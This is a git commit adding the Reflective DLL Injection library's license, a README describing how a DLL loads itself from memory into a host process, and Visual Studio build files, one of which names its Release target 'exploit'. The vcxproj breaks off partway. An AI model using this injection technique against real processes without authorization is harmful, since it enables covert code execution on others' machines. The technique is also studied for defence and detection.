commit
dbce1b36e5
Binary file not shown.
|
@ -0,0 +1,25 @@
|
|||
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of
|
||||
conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
with the distribution.
|
||||
|
||||
* Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
endorse or promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGE.
|
|
@ -0,0 +1,71 @@
|
|||
About
|
||||
=====
|
||||
|
||||
Reflective DLL injection is a library injection technique in which the concept
|
||||
of reflective programming is employed to perform the loading of a library from
|
||||
memory into a host process. As such the library is responsible for loading
|
||||
itself by implementing a minimal Portable Executable (PE) file loader. It can
|
||||
then govern, with minimal interaction with the host system and process, how it
|
||||
will load and interact with the host.
|
||||
|
||||
Injection works from Windows NT4 up to and including Windows 8, running on x86,
|
||||
x64 and ARM where applicable.
|
||||
|
||||
Overview
|
||||
========
|
||||
|
||||
The process of remotely injecting a library into a process is two fold. Firstly,
|
||||
the library you wish to inject must be written into the address space of the
|
||||
target process (Herein referred to as the host process). Secondly the library
|
||||
must be loaded into that host process in such a way that the library's run time
|
||||
expectations are met, such as resolving its imports or relocating it to a
|
||||
suitable location in memory.
|
||||
|
||||
Assuming we have code execution in the host process and the library we wish to
|
||||
inject has been written into an arbitrary location of memory in the host
|
||||
process, Reflective DLL Injection works as follows.
|
||||
|
||||
* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap
|
||||
shellcode, to the library's ReflectiveLoader function which is an exported
|
||||
function found in the library's export table.
|
||||
* As the library's image will currently exists in an arbitrary location in
|
||||
memory the ReflectiveLoader will first calculate its own image's current
|
||||
location in memory so as to be able to parse its own headers for use later on.
|
||||
* The ReflectiveLoader will then parse the host processes kernel32.dll export
|
||||
table in order to calculate the addresses of three functions required by the
|
||||
loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
|
||||
* The ReflectiveLoader will now allocate a continuous region of memory into
|
||||
which it will proceed to load its own image. The location is not important as
|
||||
the loader will correctly relocate the image later on.
|
||||
The library's headers and sections are loaded into their new locations in
|
||||
memory.
|
||||
* The ReflectiveLoader will then process the newly loaded copy of its image's
|
||||
import table, loading any additional library's and resolving their respective
|
||||
imported function addresses.
|
||||
* The ReflectiveLoader will then process the newly loaded copy of its image's
|
||||
relocation table.
|
||||
* The ReflectiveLoader will then call its newly loaded image's entry point
|
||||
function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully
|
||||
loaded into memory.
|
||||
* Finally the ReflectiveLoader will return execution to the initial bootstrap
|
||||
shellcode which called it, or if it was called via CreateRemoteThread, the
|
||||
thread will terminate.
|
||||
|
||||
Build
|
||||
=====
|
||||
|
||||
Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release
|
||||
mode to make inject.exe and reflective_dll.dll
|
||||
|
||||
Usage
|
||||
=====
|
||||
|
||||
To test use the inject.exe to inject reflective_dll.dll into a host process via
|
||||
a process id, e.g.:
|
||||
|
||||
> inject.exe 1234
|
||||
|
||||
License
|
||||
=======
|
||||
|
||||
Licensed under a 3 clause BSD license, please see LICENSE.txt for details.
|
|
@ -0,0 +1,20 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 10.00
|
||||
# Visual C++ Express 2008
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,357 @@
|
|||
<?xml version="1.0" encoding="Windows-1252"?>
|
||||
<VisualStudioProject
|
||||
ProjectType="Visual C++"
|
||||
Version="9.00"
|
||||
Name="reflective_dll"
|
||||
ProjectGUID="{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
|
||||
RootNamespace="reflective_dll"
|
||||
Keyword="Win32Proj"
|
||||
TargetFrameworkVersion="196613"
|
||||
>
|
||||
<Platforms>
|
||||
<Platform
|
||||
Name="Win32"
|
||||
/>
|
||||
<Platform
|
||||
Name="x64"
|
||||
/>
|
||||
</Platforms>
|
||||
<ToolFiles>
|
||||
</ToolFiles>
|
||||
<Configurations>
|
||||
<Configuration
|
||||
Name="Debug|Win32"
|
||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||
IntermediateDirectory="$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="0"
|
||||
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS"
|
||||
MinimalRebuild="true"
|
||||
BasicRuntimeChecks="3"
|
||||
RuntimeLibrary="3"
|
||||
UsePrecompiledHeader="0"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="4"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
LinkIncremental="2"
|
||||
GenerateDebugInformation="true"
|
||||
SubSystem="2"
|
||||
TargetMachine="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Debug|x64"
|
||||
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
|
||||
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
TargetEnvironment="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="0"
|
||||
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS"
|
||||
MinimalRebuild="true"
|
||||
BasicRuntimeChecks="3"
|
||||
RuntimeLibrary="3"
|
||||
UsePrecompiledHeader="0"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
LinkIncremental="2"
|
||||
GenerateDebugInformation="true"
|
||||
SubSystem="2"
|
||||
TargetMachine="17"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Release|Win32"
|
||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||
IntermediateDirectory="$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="2"
|
||||
WholeProgramOptimization="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="2"
|
||||
InlineFunctionExpansion="1"
|
||||
EnableIntrinsicFunctions="true"
|
||||
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
|
||||
RuntimeLibrary="0"
|
||||
EnableFunctionLevelLinking="true"
|
||||
UsePrecompiledHeader="0"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
LinkIncremental="1"
|
||||
GenerateDebugInformation="true"
|
||||
SubSystem="2"
|
||||
OptimizeReferences="2"
|
||||
EnableCOMDATFolding="2"
|
||||
TargetMachine="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
CommandLine="copy ..\Release\reflective_dll.dll ..\bin\"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Release|x64"
|
||||
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
|
||||
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="2"
|
||||
WholeProgramOptimization="0"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
TargetEnvironment="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="2"
|
||||
InlineFunctionExpansion="1"
|
||||
EnableIntrinsicFunctions="true"
|
||||
FavorSizeOrSpeed="2"
|
||||
WholeProgramOptimization="false"
|
||||
PreprocessorDefinitions="WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
|
||||
RuntimeLibrary="0"
|
||||
EnableFunctionLevelLinking="true"
|
||||
UsePrecompiledHeader="0"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="3"
|
||||
CompileAs="2"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
OutputFile="$(OutDir)\$(ProjectName).x64.dll"
|
||||
LinkIncremental="1"
|
||||
GenerateDebugInformation="true"
|
||||
SubSystem="2"
|
||||
OptimizeReferences="2"
|
||||
EnableCOMDATFolding="2"
|
||||
TargetMachine="17"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
CommandLine="copy $(OutDir)\$(ProjectName).x64.dll ..\bin\"
|
||||
/>
|
||||
</Configuration>
|
||||
</Configurations>
|
||||
<References>
|
||||
</References>
|
||||
<Files>
|
||||
<Filter
|
||||
Name="Source Files"
|
||||
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
|
||||
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\src\ReflectiveDll.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\src\ReflectiveLoader.c"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="Header Files"
|
||||
Filter="h;hpp;hxx;hm;inl;inc;xsd"
|
||||
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\src\ReflectiveDLLInjection.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath=".\src\ReflectiveLoader.h"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
</Files>
|
||||
<Globals>
|
||||
</Globals>
|
||||
</VisualStudioProject>
|
|
@ -0,0 +1,266 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|ARM">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>ARM</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|ARM">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>ARM</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid>
|
||||
<RootNamespace>reflective_dll</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v100</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<IntDir>$(Configuration)\</IntDir>
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<IntDir>$(Configuration)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<TargetName>exploit</TargetName>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>
|
||||
</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
